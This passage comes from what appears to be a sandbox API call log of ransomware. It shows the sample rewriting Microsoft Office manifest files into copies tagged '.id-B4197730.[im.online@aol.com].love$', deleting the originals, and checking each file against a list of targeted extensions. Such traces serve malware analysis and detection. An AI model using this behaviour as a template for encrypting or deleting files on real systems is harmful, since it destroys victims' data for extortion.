lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0114.265] SetEndOfFile (hFile=0x2b8) returned 1 [0114.266] CloseHandle (hObject=0x2b8) returned 1 [0114.278] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.278] SetEndOfFile (hFile=0x2d8) returned 1 [0114.282] CloseHandle (hObject=0x2d8) returned 1 [0114.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0114.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0114.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.284] lstrlenW (lpString=".doc") returned 4 [0114.284] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString=".docx") returned 5 [0114.284] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.284] lstrlenW (lpString=".pdf") returned 4 [0114.284] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString=".xls") returned 4 [0114.284] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString=".xlsx") returned 5 [0114.284] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.284] lstrlenW (lpString=".ppt") returned 4 [0114.284] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.284] lstrlenW (lpString=".zip") returned 4 [0114.284] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.284] lstrlenW (lpString=".rar") returned 4 [0114.284] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString=".bz2") returned 4 [0114.284] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString=".7z") returned 3 [0114.284] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.284] lstrlenW (lpString=".dbf") returned 4 [0114.284] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.285] lstrlenW (lpString=".1cd") returned 4 [0114.285] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.285] lstrlenW (lpString=".jpg") returned 4 [0114.285] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.285] lstrlenW (lpString=".doc") returned 4 [0114.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString=".docx") returned 5 [0114.285] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.285] lstrlenW (lpString=".pdf") returned 4 [0114.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString=".xls") returned 4 [0114.285] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString=".xlsx") returned 5 [0114.285] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.285] lstrlenW (lpString=".ppt") returned 4 [0114.285] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.285] lstrlenW (lpString=".zip") returned 4 [0114.285] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.285] lstrlenW (lpString=".rar") returned 4 [0114.285] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString=".bz2") returned 4 [0114.285] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.285] lstrlenW (lpString=".7z") returned 3 [0114.286] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.286] lstrlenW (lpString=".dbf") returned 4 [0114.286] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.286] lstrlenW (lpString=".1cd") returned 4 [0114.286] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0114.286] lstrlenW (lpString=".jpg") returned 4 [0114.286] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.286] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0114.286] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0114.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0114.286] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=65002) returned 1 [0114.287] CloseHandle (hObject=0x2d8) returned 1 [0114.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0114.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0114.287] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.287] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0114.288] GetLastError () returned 0x0 [0114.288] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0114.303] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0114.306] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.306] WriteFile (in: hFile=0x2b8, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0114.306] SetEndOfFile (hFile=0x2b8) returned 1 [0114.306] CloseHandle (hObject=0x2b8) returned 1 [0114.313] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.313] SetEndOfFile (hFile=0x2d8) returned 1 [0114.314] CloseHandle (hObject=0x2d8) returned 1 [0114.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0114.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0114.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.316] lstrlenW (lpString=".doc") returned 4 [0114.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.316] lstrlenW (lpString=".docx") returned 5 [0114.316] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.316] lstrlenW (lpString=".pdf") returned 4 [0114.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.316] lstrlenW (lpString=".xls") returned 4 [0114.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.316] lstrlenW (lpString=".xlsx") returned 5 [0114.316] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.317] lstrlenW (lpString=".ppt") returned 4 [0114.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.317] lstrlenW (lpString=".zip") returned 4 [0114.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.317] lstrlenW (lpString=".rar") returned 4 [0114.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.317] lstrlenW (lpString=".bz2") returned 4 [0114.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.317] lstrlenW (lpString=".7z") returned 3 [0114.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.317] lstrlenW (lpString=".dbf") returned 4 [0114.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.317] lstrlenW (lpString=".1cd") returned 4 [0114.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.318] lstrlenW (lpString=".jpg") returned 4 [0114.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.319] lstrlenW (lpString=".doc") returned 4 [0114.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.319] lstrlenW (lpString=".docx") returned 5 [0114.319] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0114.319] lstrlenW (lpString=".pdf") returned 4 [0114.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.319] lstrlenW (lpString=".xls") returned 4 [0114.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.320] lstrlenW (lpString=".xlsx") returned 5 [0114.320] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0114.320] lstrlenW (lpString=".ppt") returned 4 [0114.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.320] lstrlenW (lpString=".zip") returned 4 [0114.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.320] lstrlenW (lpString=".rar") returned 4 [0114.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.320] lstrlenW (lpString=".bz2") returned 4 [0114.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.911] lstrlenW (lpString=".7z") returned 3 [0114.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.911] lstrlenW (lpString=".dbf") returned 4 [0114.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.911] lstrlenW (lpString=".1cd") returned 4 [0114.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0114.911] lstrlenW (lpString=".jpg") returned 4 [0114.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.911] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0114.911] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0114.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.371] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0115.371] CloseHandle (hObject=0x374) returned 1 [0115.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.372] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.372] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.374] GetLastError () returned 0x0 [0115.374] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0115.377] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0115.378] ReadFile (in: hFile=0x374, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0115.378] WriteFile (in: hFile=0x394, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0115.378] SetEndOfFile (hFile=0x394) returned 1 [0115.378] CloseHandle (hObject=0x394) returned 1 [0115.380] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.380] SetEndOfFile (hFile=0x374) returned 1 [0115.381] CloseHandle (hObject=0x374) returned 1 [0115.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0115.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0115.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.382] lstrlenW (lpString=".doc") returned 4 [0115.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.382] lstrlenW (lpString=".docx") returned 5 [0115.382] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.382] lstrlenW (lpString=".pdf") returned 4 [0115.382] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.382] lstrlenW (lpString=".xls") returned 4 [0115.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString=".xlsx") returned 5 [0115.383] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.383] lstrlenW (lpString=".ppt") returned 4 [0115.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString=".zip") returned 4 [0115.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.383] lstrlenW (lpString=".rar") returned 4 [0115.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString=".bz2") returned 4 [0115.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString=".7z") returned 3 [0115.383] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString=".dbf") returned 4 [0115.383] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString=".1cd") returned 4 [0115.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString=".jpg") returned 4 [0115.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.383] lstrlenW (lpString=".doc") returned 4 [0115.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString=".docx") returned 5 [0115.383] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0115.383] lstrlenW (lpString=".pdf") returned 4 [0115.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.383] lstrlenW (lpString=".xls") returned 4 [0115.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString=".xlsx") returned 5 [0115.384] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0115.384] lstrlenW (lpString=".ppt") returned 4 [0115.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.384] lstrlenW (lpString=".zip") returned 4 [0115.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.384] lstrlenW (lpString=".rar") returned 4 [0115.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString=".bz2") returned 4 [0115.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString=".7z") returned 3 [0115.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.384] lstrlenW (lpString=".dbf") returned 4 [0115.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.384] lstrlenW (lpString=".1cd") returned 4 [0115.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0115.384] lstrlenW (lpString=".jpg") returned 4 [0115.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.384] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0115.384] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0115.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.385] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0115.385] CloseHandle (hObject=0x374) returned 1 [0115.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0115.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0115.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0115.387] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.387] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 